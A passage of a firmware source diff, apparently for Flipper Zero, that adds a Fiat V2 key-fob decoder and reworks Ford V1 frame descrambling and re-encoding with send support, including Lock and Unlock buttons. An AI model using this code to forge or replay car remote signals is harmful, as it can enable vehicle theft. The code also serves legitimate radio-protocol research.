if(instance->last_raw_valid && memcmp(instance->last_raw_data, raw, FIAT_V2_WIRE_BYTES) == 0) {
|
||||
return true;
|
||||
}
|
||||
|
||||
memcpy(instance->raw_data, raw, FIAT_V2_WIRE_BYTES);
|
||||
memcpy(instance->last_raw_data, raw, FIAT_V2_WIRE_BYTES);
|
||||
instance->last_raw_valid = true;
|
||||
fiat_v2_decode_fields(instance);
|
||||
|
||||
FURI_LOG_D(
|
||||
TAG,
|
||||
"Accepted UID:%08lX Btn:%02X Cnt:%02lX Hop:%08lX",
|
||||
(unsigned long)instance->uid,
|
||||
instance->button,
|
||||
(unsigned long)instance->generic.cnt,
|
||||
(unsigned long)instance->hop);
|
||||
|
||||
if(instance->base.callback) {
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool fiat_v2_try_decode_window(SubGhzProtocolDecoderFiatV2* instance, bool invert) {
|
||||
if(instance->cell_count != FIAT_V2_WIRE_CELLS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
uint8_t raw[FIAT_V2_WIRE_BYTES] = {0};
|
||||
for(uint8_t bit_index = 0U; bit_index < FIAT_V2_WIRE_BITS; bit_index++) {
|
||||
const uint8_t first = instance->cells[bit_index * 2U];
|
||||
const uint8_t second = instance->cells[bit_index * 2U + 1U];
|
||||
if(first == second) {
|
||||
return false;
|
||||
}
|
||||
|
||||
bool bit = first != 0U;
|
||||
if(invert) {
|
||||
bit = !bit;
|
||||
}
|
||||
if(bit) {
|
||||
raw[bit_index >> 3U] |= (uint8_t)(1U << (7U - (bit_index & 7U)));
|
||||
}
|
||||
}
|
||||
|
||||
return fiat_v2_commit(instance, raw);
|
||||
}
|
||||
|
||||
static void fiat_v2_try_decode(SubGhzProtocolDecoderFiatV2* instance) {
|
||||
if(fiat_v2_try_decode_window(instance, false)) {
|
||||
return;
|
||||
}
|
||||
(void)fiat_v2_try_decode_window(instance, true);
|
||||
}
|
||||
|
||||
static void fiat_v2_push_cell(SubGhzProtocolDecoderFiatV2* instance, bool level) {
|
||||
if(instance->cell_count < FIAT_V2_WIRE_CELLS) {
|
||||
instance->cells[instance->cell_count++] = level ? 1U : 0U;
|
||||
} else {
|
||||
memmove(instance->cells, &instance->cells[1], FIAT_V2_WIRE_CELLS - 1U);
|
||||
instance->cells[FIAT_V2_WIRE_CELLS - 1U] = level ? 1U : 0U;
|
||||
}
|
||||
fiat_v2_try_decode(instance);
|
||||
}
|
||||
|
||||
static bool fiat_v2_feed_data_pulse(
|
||||
SubGhzProtocolDecoderFiatV2* instance,
|
||||
bool level,
|
||||
uint32_t duration) {
|
||||
if(fiat_v2_duration_is_short(duration)) {
|
||||
fiat_v2_push_cell(instance, level);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(fiat_v2_duration_is_long(duration)) {
|
||||
fiat_v2_push_cell(instance, level);
|
||||
fiat_v2_push_cell(instance, level);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(!level && duration >= FIAT_V2_BOUNDARY_MIN_US) {
|
||||
fiat_v2_push_cell(instance, false);
|
||||
}
|
||||
fiat_v2_clear_cells(instance);
|
||||
return false;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_fiat_v2_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderFiatV2* instance = calloc(1, sizeof(SubGhzProtocolDecoderFiatV2));
|
||||
furi_check(instance);
|
||||
instance->base.protocol = &fiat_v2_protocol;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
subghz_protocol_decoder_fiat_v2_reset(instance);
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_fiat_v2_reset(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV2* instance = context;
|
||||
|
||||
memset(instance->raw_data, 0, sizeof(instance->raw_data));
|
||||
memset(instance->last_raw_data, 0, sizeof(instance->last_raw_data));
|
||||
instance->decoder.parser_step = FiatV2DecoderStepReset;
|
||||
instance->decoder.decode_data = 0U;
|
||||
instance->decoder.decode_count_bit = 0U;
|
||||
instance->last_raw_valid = false;
|
||||
instance->generic.data = 0U;
|
||||
instance->generic.data_count_bit = 0U;
|
||||
instance->generic.serial = 0U;
|
||||
instance->generic.btn = 0U;
|
||||
instance->generic.cnt = 0U;
|
||||
instance->uid = 0U;
|
||||
instance->hop = 0U;
|
||||
instance->button = 0U;
|
||||
fiat_v2_clear_cells(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_fiat_v2_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV2* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case FiatV2DecoderStepReset:
|
||||
if(fiat_v2_duration_is_short(duration) || fiat_v2_duration_is_long(duration)) {
|
||||
fiat_v2_clear_cells(instance);
|
||||
instance->decoder.parser_step = FiatV2DecoderStepData;
|
||||
(void)fiat_v2_feed_data_pulse(instance, level, duration);
|
||||
}
|
||||
break;
|
||||
|
||||
case FiatV2DecoderStepData:
|
||||
if(!fiat_v2_feed_data_pulse(instance, level, duration)) {
|
||||
instance->decoder.parser_step = FiatV2DecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_fiat_v2_get_hash_data(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV2* instance = context;
|
||||
SubGhzBlockDecoder decoder = {
|
||||
.decode_data = instance->generic.data,
|
||||
.decode_count_bit = 64U,
|
||||
};
|
||||
return subghz_protocol_blocks_get_hash_data(&decoder, 8U) ^ instance->generic.cnt ^
|
||||
instance->button;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_fiat_v2_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV2* instance = context;
|
||||
|
||||
SubGhzProtocolStatus ret =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
return ret;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_hex(
|
||||
flipper_format, FIAT_V2_RAW_FIELD, instance->raw_data, FIAT_V2_WIRE_BYTES);
|
||||
|
||||
uint32_t hop = instance->hop;
|
||||
uint32_t button = instance->button;
|
||||
if(!flipper_format_write_uint32(flipper_format, FIAT_V2_HOP_FIELD, &hop, 1) ||
|
||||
!flipper_format_write_uint32(flipper_format, FIAT_V2_BTN_FIELD, &button, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
if(!flipper_format_update_uint32(flipper_format, "Serial", &instance->generic.serial, 1)) {
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Serial", &instance->generic.serial, 1);
|
||||
}
|
||||
uint32_t btn = instance->generic.btn;
|
||||
if(!flipper_format_update_uint32(flipper_format, "Btn", &btn, 1)) {
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &btn, 1);
|
||||
}
|
||||
uint32_t cnt = instance->generic.cnt;
|
||||
if(!flipper_format_update_uint32(flipper_format, "Cnt", &cnt, 1)) {
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &cnt, 1);
|
||||
}
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_fiat_v2_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV2* instance = context;
|
||||
|
||||
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_fiat_v2_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
return ret;
|
||||
}
|
||||
if(instance->generic.data_count_bit != FIAT_V2_LOGICAL_BITS) {
|
||||
return SubGhzProtocolStatusErrorValueBitCount;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_hex(
|
||||
flipper_format, FIAT_V2_RAW_FIELD, instance->raw_data, FIAT_V2_WIRE_BYTES)) {
|
||||
if(!fiat_v2_frame_valid(instance->raw_data)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
fiat_v2_decode_fields(instance);
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_fiat_v2_get_string(void* context, FuriString* output) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV2* instance = context;
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %ubit\r\n"
|
||||
"UID:%08lX\r\n"
|
||||
"Hop:%08lX Type:%01X\r\n"
|
||||
"Btn:%02X [%s] Cnt:%02lX\r\n",
|
||||
instance->generic.protocol_name,
|
||||
FIAT_V2_LOGICAL_BITS,
|
||||
(unsigned long)instance->uid,
|
||||
(unsigned long)instance->hop,
|
||||
(unsigned)(instance->raw_data[6] >> 4),
|
||||
instance->button,
|
||||
fiat_v2_button_name(instance->button),
|
||||
(unsigned long)instance->generic.cnt);
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
|
||||
#define FIAT_V2_PROTOCOL_NAME "Fiat V2"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderFiatV2 SubGhzProtocolDecoderFiatV2;
|
||||
|
||||
extern const SubGhzProtocol fiat_v2_protocol;
|
||||
|
||||
void* subghz_protocol_decoder_fiat_v2_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_decoder_fiat_v2_reset(void* context);
|
||||
void subghz_protocol_decoder_fiat_v2_feed(void* context, bool level, uint32_t duration);
|
||||
uint8_t subghz_protocol_decoder_fiat_v2_get_hash_data(void* context);
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_fiat_v2_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_fiat_v2_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_decoder_fiat_v2_get_string(void* context, FuriString* output);
|
||||
@@ -1,5 +1,4 @@
|
||||
#include "ford_v1.h"
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#define TAG "FordProtocolV1"
|
||||
@@ -49,16 +48,22 @@ typedef enum {
|
||||
} FordV1DecoderStep;
|
||||
|
||||
static const char* ford_v1_get_button_name(uint8_t btn);
|
||||
static uint16_t ford_v1_crc16(const uint8_t* data, size_t len);
|
||||
static void ford_v1_decode_with_flag(uint8_t* raw, size_t len, uint8_t flag_byte);
|
||||
static void ford_v1_decode(uint8_t* raw, size_t len);
|
||||
static void ford_v1_encode_inverse_block(uint8_t block[9]);
|
||||
static void ford_v1_encode_air_9bytes(const uint8_t* plain9, uint8_t* air9_out);
|
||||
static bool ford_v1_plain_from_air(const uint8_t air9[9], uint8_t plain9_out[9]);
|
||||
static void ford_v1_fields_from_plain(
|
||||
const uint8_t plain9[9],
|
||||
uint32_t* serial_out,
|
||||
uint8_t* btn_out,
|
||||
uint32_t* cnt_out);
|
||||
static bool ford_v1_process_data(SubGhzProtocolDecoderFordV1* instance);
|
||||
static bool ford_v1_try_last_byte_variants(SubGhzProtocolDecoderFordV1* instance);
|
||||
static bool ford_v1_postdecode_ok(const uint8_t* raw17);
|
||||
static bool ford_v1_extract_plain_from_raw(
|
||||
const uint8_t* raw17_in,
|
||||
uint8_t* plain9_out,
|
||||
uint8_t* raw17_canonical_out_opt);
|
||||
static void ford_v1_encode_air_9bytes(const uint8_t* plain9, uint8_t* air9_out);
|
||||
static void
|
||||
ford_v1_plain_apply_fields(uint8_t* plain9, uint32_t serial, uint8_t btn, uint32_t cnt);
|
||||
static void ford_v1_encoder_rebuild_raw_from_plain(uint8_t* raw17, const uint8_t* plain9);
|
||||
@@ -74,7 +79,6 @@ const SubGhzProtocolDecoder subghz_protocol_ford_v1_decoder = {
|
||||
.get_string = subghz_protocol_decoder_ford_v1_get_string,
|
||||
};
|
||||
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_ford_v1_encoder = {
|
||||
.alloc = subghz_protocol_encoder_ford_v1_alloc,
|
||||
.free = subghz_protocol_encoder_ford_v1_free,
|
||||
@@ -86,61 +90,35 @@ const SubGhzProtocolEncoder subghz_protocol_ford_v1_encoder = {
|
||||
const SubGhzProtocol ford_protocol_v1 = {
|
||||
.name = FORD_PROTOCOL_V1_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save
|
||||
| SubGhzProtocolFlag_Send
|
||||
,
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
|
||||
SubGhzProtocolFlag_Send,
|
||||
.decoder = &subghz_protocol_ford_v1_decoder,
|
||||
.encoder = &subghz_protocol_ford_v1_encoder,
|
||||
};
|
||||
|
||||
#define ford_v1_crc16(data, len) subghz_protocol_blocks_crc16((data), (len), 0x1021, 0x0000)
|
||||
|
||||
static const char* ford_v1_get_button_name(uint8_t btn) {
|
||||
switch(btn) {
|
||||
case 0:
|
||||
return "SYNC";
|
||||
return "Sync";
|
||||
case 1:
|
||||
return "LOCK";
|
||||
return "Lock";
|
||||
case 2:
|
||||
return "UNLOCK";
|
||||
return "Unlock";
|
||||
case 4:
|
||||
return "BOOT";
|
||||
return "Trunk";
|
||||
case 8:
|
||||
return "PANIC";
|
||||
return "Panic";
|
||||
default:
|
||||
return "??";
|
||||
}
|
||||
}
|
||||
|
||||
static uint16_t ford_v1_crc16(const uint8_t* data, size_t len) {
|
||||
uint16_t crc = 0x0000;
|
||||
for(size_t i = 0; i < len; i++) {
|
||||
crc ^= ((uint16_t)data[i] << 8);
|
||||
for(int bit = 0; bit < 8; bit++) {
|
||||
if(crc & 0x8000) {
|
||||
crc = (crc << 1) ^ 0x1021;
|
||||
} else {
|
||||
crc <<= 1;
|
||||
}
|
||||
crc &= 0xFFFF;
|
||||
}
|
||||
}
|
||||
return crc;
|
||||
}
|
||||
|
||||
static void ford_v1_decode(uint8_t* raw, size_t len) {
|
||||
static void ford_v1_decode_with_flag(uint8_t* raw, size_t len, uint8_t flag_byte) {
|
||||
if(len < 9) return;
|
||||
|
||||
uint8_t endbyte = raw[8];
|
||||
uint8_t parity_any = (endbyte != 0) ? 1 : 0;
|
||||
uint8_t parity = 0;
|
||||
uint8_t tmp = endbyte;
|
||||
while(tmp) {
|
||||
parity ^= (tmp & 1);
|
||||
tmp >>= 1;
|
||||
}
|
||||
|
||||
uint8_t flag_byte = parity_any ? parity : 0;
|
||||
|
||||
if(flag_byte) {
|
||||
uint8_t xor_byte = raw[7];
|
||||
for(int i = 1; i < 7; i++) {
|
||||
@@ -160,6 +138,83 @@ static void ford_v1_decode(uint8_t* raw, size_t len) {
|
||||
raw[7] = (b7 & 0xAA) | (b6 & 0x55);
|
||||
}
|
||||
|
||||
static void ford_v1_decode(uint8_t* raw, size_t len) {
|
||||
if(len < 9) return;
|
||||
|
||||
uint8_t endbyte = raw[8];
|
||||
uint8_t parity_any = (endbyte != 0) ? 1 : 0;
|
||||
uint8_t parity = 0;
|
||||
uint8_t tmp = endbyte;
|
||||
while(tmp) {
|
||||
parity ^= (tmp & 1);
|
||||
tmp >>= 1;
|
||||
}
|
||||
|
||||
uint8_t flag_byte = parity_any ? parity : 0;
|
||||
ford_v1_decode_with_flag(raw, len, flag_byte);
|
||||
}
|
||||
|
||||
static void ford_v1_encode_inverse_block(uint8_t block[9]) {
|
||||
uint8_t sum = 0;
|
||||
for(size_t i = 1; i <= 7; i++) {
|
||||
sum = (uint8_t)(sum + block[i]);
|
||||
}
|
||||
|
||||
const uint8_t p6 = block[6];
|
||||
const uint8_t p7 = block[7];
|
||||
const uint8_t post6 = (uint8_t)((p6 & 0xAAU) | (p7 & 0x55U));
|
||||
const uint8_t post7 = (uint8_t)((p7 & 0xAAU) | (p6 & 0x55U));
|
||||
const uint8_t xorv = (uint8_t)(post6 ^ post7);
|
||||
|
||||
uint8_t xor_byte;
|
||||
if((__builtin_popcount((unsigned int)sum) & 1) != 0) {
|
||||
block[6] = xorv;
|
||||
block[7] = post7;
|
||||
xor_byte = post7;
|
||||
} else {
|
||||
block[6] = post6;
|
||||
block[7] = xorv;
|
||||
xor_byte = post6;
|
||||
}
|
||||
|
||||
for(size_t i = 1; i <= 5; i++) {
|
||||
block[i] ^= xor_byte;
|
||||
}
|
||||
}
|
||||
|
||||
static void ford_v1_encode_air_9bytes(const uint8_t* plain9, uint8_t* air9_out) {
|
||||
uint8_t block[9];
|
||||
memcpy(block, plain9, 9);
|
||||
ford_v1_encode_inverse_block(block);
|
||||
memcpy(air9_out, block, 9);
|
||||
}
|
||||
|
||||
static bool ford_v1_plain_from_air(const uint8_t air9[9], uint8_t plain9_out[9]) {
|
||||
for(uint8_t flag = 0; flag < 2; flag++) {
|
||||
uint8_t cand[9];
|
||||
memcpy(cand, air9, 9);
|
||||
ford_v1_decode_with_flag(cand, 9, flag);
|
||||
uint8_t reair[9];
|
||||
ford_v1_encode_air_9bytes(cand, reair);
|
||||
if(memcmp(reair, air9, 9) == 0) {
|
||||
memcpy(plain9_out, cand, 9);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static void ford_v1_fields_from_plain(
|
||||
const uint8_t plain9[9],
|
||||
uint32_t* serial_out,
|
||||
uint8_t* btn_out,
|
||||
uint32_t* cnt_out) {
|
||||
*serial_out = ((uint32_t)plain9[1] << 24) | ((uint32_t)plain9[2] << 16) |
|
||||
((uint32_t)plain9[3] << 8) | plain9[0];
|
||||
*btn_out = (plain9[5] >> 4) & 0x0F;
|
||||
*cnt_out = ((plain9[5] & 0x0F) << 16) | (plain9[6] << 8) | plain9[7];
|
||||
}
|
||||
|
||||
static bool ford_v1_process_data(SubGhzProtocolDecoderFordV1* instance) {
|
||||
uint8_t* raw = instance->raw_bytes;
|
||||
uint8_t orig[FORD_V1_DATA_BYTES];
|
||||
@@ -212,10 +267,39 @@ static bool ford_v1_process_data(SubGhzProtocolDecoderFordV1* instance) {
|
||||
|
||||
FURI_LOG_D(TAG, "CRC OK, decoding payload");
|
||||
|
||||
const uint8_t* const air9 = &raw[6];
|
||||
uint8_t decoded[9];
|
||||
memcpy(decoded, &raw[6], 9);
|
||||
bool strict_ok = false;
|
||||
bool rolling_ok = false;
|
||||
|
||||
ford_v1_decode(decoded, 9);
|
||||
uint8_t decoded_b0[9];
|
||||
uint8_t decoded_b1[9];
|
||||
memcpy(decoded_b0, air9, 9);
|
||||
ford_v1_decode_with_flag(decoded_b0, 9, 0);
|
||||
memcpy(decoded_b1, air9, 9);
|
||||
ford_v1_decode_with_flag(decoded_b1, 9, 1);
|
||||
|
||||
if((decoded_b0[3] == raw[5]) && (decoded_b0[4] == raw[6])) {
|
||||
memcpy(decoded, decoded_b0, 9);
|
||||
strict_ok = true;
|
||||
FURI_LOG_D(TAG, "Plain (cleartext) via strict branch 0");
|
||||
} else if((decoded_b1[3] == raw[5]) && (decoded_b1[4] == raw[6])) {
|
||||
memcpy(decoded, decoded_b1, 9);
|
||||
strict_ok = true;
|
||||
FURI_LOG_D(TAG, "Plain (cleartext) via strict branch 1");
|
||||
} else if(ford_v1_plain_from_air(air9, decoded)) {
|
||||
rolling_ok = true;
|
||||
FURI_LOG_D(TAG, "Plain (encrypted) via encode round-trip");
|
||||
} else {
|
||||
memcpy(decoded, air9, 9);
|
||||
ford_v1_decode(decoded, 9);
|
||||
FURI_LOG_W(
|
||||
TAG,
|
||||
"Descramble unresolved (b0[3]=%02X b1[3]=%02X raw[5]=%02X); header-only",
|
||||
decoded_b0[3],
|
||||
decoded_b1[3],
|
||||
raw[5]);
|
||||
}
|
||||
|
||||
FURI_LOG_D(
|
||||
TAG,
|
||||
@@ -230,15 +314,6 @@ static bool ford_v1_process_data(SubGhzProtocolDecoderFordV1* instance) {
|
||||
decoded[7],
|
||||
decoded[8]);
|
||||
|
||||
if(decoded[3] != raw[5]) {
|
||||
FURI_LOG_D(TAG, "Decode FAIL: decoded[3]=%02X != raw[5]=%02X", decoded[3], raw[5]);
|
||||
return false;
|
||||
}
|
||||
if(decoded[4] != raw[6]) {
|
||||
FURI_LOG_D(TAG, "Decode FAIL: decoded[4]=%02X != raw[6]=%02X", decoded[4], raw[6]);
|
||||
return false;
|
||||
}
|
||||
|
||||
uint16_t recalc_crc = ford_v1_crc16(&raw[3], 12);
|
||||
instance->crc_calc = recalc_crc;
|
||||
|
||||
@@ -256,17 +331,18 @@ static bool ford_v1_process_data(SubGhzProtocolDecoderFordV1* instance) {
|
||||
instance->data2 = key2;
|
||||
instance->generic.data_count_bit = FORD_V1_DATA_BITS;
|
||||
|
||||
uint8_t btn = (decoded[5] >> 4) & 0x0F;
|
||||
instance->generic.btn = btn;
|
||||
|
||||
uint32_t serial = ((uint32_t)decoded[1] << 24) | ((uint32_t)decoded[2] << 16) |
|
||||
((uint32_t)decoded[3] << 8) | decoded[0];
|
||||
instance->generic.serial = serial;
|
||||
|
||||
uint32_t cnt = ((decoded[5] & 0x0F) << 16) | (decoded[6] << 8) | decoded[7];
|
||||
instance->generic.cnt = cnt;
|
||||
|
||||
instance->encryption_supported = 1;
|
||||
if(strict_ok) {
|
||||
ford_v1_fields_from_plain(
|
||||
decoded, &instance->generic.serial, &instance->generic.btn, &instance->generic.cnt);
|
||||
instance->encryption_supported = 1;
|
||||
} else {
|
||||
instance->generic.serial = ((uint32_t)raw[3] << 24) | ((uint32_t)raw[4] << 16) |
|
||||
((uint32_t)raw[5] << 8) | raw[6];
|
||||
instance->generic.btn = 0;
|
||||
instance->generic.cnt = 0;
|
||||
instance->encryption_supported = 0;
|
||||
(void)rolling_ok;
|
||||
}
|
||||
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
@@ -314,13 +390,6 @@ static bool ford_v1_try_last_byte_variants(SubGhzProtocolDecoderFordV1* instance
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool ford_v1_postdecode_ok(const uint8_t* raw17) {
|
||||
uint8_t dec[9];
|
||||
memcpy(dec, &raw17[6], 9);
|
||||
ford_v1_decode(dec, 9);
|
||||
return (dec[3] == raw17[5]) && (dec[4] == raw17[6]);
|
||||
}
|
||||
|
||||
static bool ford_v1_extract_plain_from_raw(
|
||||
const uint8_t* raw17_in,
|
||||
uint8_t* plain9_out,
|
||||
@@ -344,16 +413,27 @@ static bool ford_v1_extract_plain_from_raw(
|
||||
return false;
|
||||
}
|
||||
|
||||
memcpy(plain9_out, &raw[6], 9);
|
||||
ford_v1_decode(plain9_out, 9);
|
||||
if(!ford_v1_postdecode_ok(raw)) {
|
||||
return false;
|
||||
for(uint8_t flag = 0; flag < 2; flag++) {
|
||||
uint8_t cand[9];
|
||||
memcpy(cand, &raw[6], 9);
|
||||
ford_v1_decode_with_flag(cand, 9, flag);
|
||||
if((cand[3] == raw[5]) && (cand[4] == raw[6])) {
|
||||
memcpy(plain9_out, cand, 9);
|
||||
if(raw17_canonical_out_opt) {
|
||||
memcpy(raw17_canonical_out_opt, raw, FORD_V1_DATA_BYTES);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
if(raw17_canonical_out_opt) {
|
||||
memcpy(raw17_canonical_out_opt, raw, FORD_V1_DATA_BYTES);
|
||||
if(ford_v1_plain_from_air(&raw[6], plain9_out)) {
|
||||
if(raw17_canonical_out_opt) {
|
||||
memcpy(raw17_canonical_out_opt, raw, FORD_V1_DATA_BYTES);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_ford_v1_alloc(SubGhzEnvironment* environment) {
|
||||
@@ -365,12 +445,6 @@ void* subghz_protocol_decoder_ford_v1_alloc(SubGhzEnvironment* environment) {
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_ford_v1_free(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFordV1* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_ford_v1_reset(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFordV1* instance = context;
|
||||
@@ -596,21 +670,6 @@ static uint16_t ford_v1_crc16_from_key3_bytes(const uint8_t key3[4]) {
|
||||
return (uint16_t)(crc & 0xFFFFU);
|
||||
}
|
||||
|
||||
static bool ford_v1_flipper_read_serial_u32(FlipperFormat* ff, uint32_t* out_serial) {
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_uint32(ff, "Serial", out_serial, 1)) {
|
||||
return true;
|
||||
}
|
||||
uint8_t ser_be[4];
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_hex(ff, "Serial", ser_be, sizeof(ser_be))) {
|
||||
*out_serial = ((uint32_t)ser_be[0] << 24) | ((uint32_t)ser_be[1] << 16) |
|
||||
((uint32_t)ser_be[2] << 8) | (uint32_t)ser_be[3];
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static uint64_t ford_v1_u64_from_be_key8(const uint8_t key8[8]) {
|
||||
uint64_t v = 0;
|
||||
for(int i = 0; i < 8; i++) {
|
||||
@@ -720,11 +779,15 @@ SubGhzProtocolStatus
|
||||
if(ret == SubGhzProtocolStatusOk) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint8_t key1_bytes[8] = {0};
|
||||
flipper_format_read_hex(flipper_format, "Key", key1_bytes, 8);
|
||||
if(!flipper_format_read_hex(flipper_format, "Key", key1_bytes, 8)) {
|
||||
return SubGhzProtocolStatusErrorParserKey;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint8_t key2_bytes[8] = {0};
|
||||
flipper_format_read_hex(flipper_format, "Key_2", key2_bytes, 8);
|
||||
if(!flipper_format_read_hex(flipper_format, "Key_2", key2_bytes, 8)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint8_t key3_bytes[4] = {0};
|
||||
@@ -742,33 +805,41 @@ SubGhzProtocolStatus
|
||||
instance->generic.data = k1;
|
||||
instance->data2 = k2;
|
||||
|
||||
if(extract_ok) {
|
||||
instance->encryption_supported = 1;
|
||||
} else {
|
||||
uint16_t calc_crc = ford_v1_crc16(&raw[3], 12);
|
||||
uint16_t recv_crc = ((uint16_t)raw[15] << 8) | raw[16];
|
||||
instance->encryption_supported = (calc_crc == recv_crc) ? 1 : 0;
|
||||
}
|
||||
instance->encryption_supported =
|
||||
(extract_ok && (plain9_tmp[3] == raw[5]) && (plain9_tmp[4] == raw[6])) ? 1 : 0;
|
||||
|
||||
memcpy(instance->raw_bytes, raw, FORD_V1_DATA_BYTES);
|
||||
|
||||
uint32_t u32 = 0;
|
||||
if(ford_v1_flipper_read_serial_u32(flipper_format, &u32)) {
|
||||
instance->generic.serial = u32;
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, "Btn", &u32, 1)) {
|
||||
instance->generic.btn = (uint8_t)u32;
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, "Cnt", &u32, 1)) {
|
||||
instance->generic.cnt = u32;
|
||||
{
|
||||
uint32_t serial = UINT32_MAX;
|
||||
uint32_t btn = UINT32_MAX;
|
||||
uint32_t cnt = UINT32_MAX;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_uint32(flipper_format, "Serial", &serial, 1))
|
||||
serial = UINT32_MAX;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_uint32(flipper_format, "Btn", &btn, 1))
|
||||
btn = UINT32_MAX;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_uint32(flipper_format, "Cnt", &cnt, 1))
|
||||
cnt = UINT32_MAX;
|
||||
if(serial == UINT32_MAX || btn == UINT32_MAX || cnt == UINT32_MAX) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
instance->generic.serial = serial;
|
||||
instance->generic.btn = (uint8_t)btn;
|
||||
instance->generic.cnt = cnt;
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_ford_v1_free(void* context) {
|
||||
furi_check(context);
|
||||
free(context);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_ford_v1_get_string(void* context, FuriString* output) {
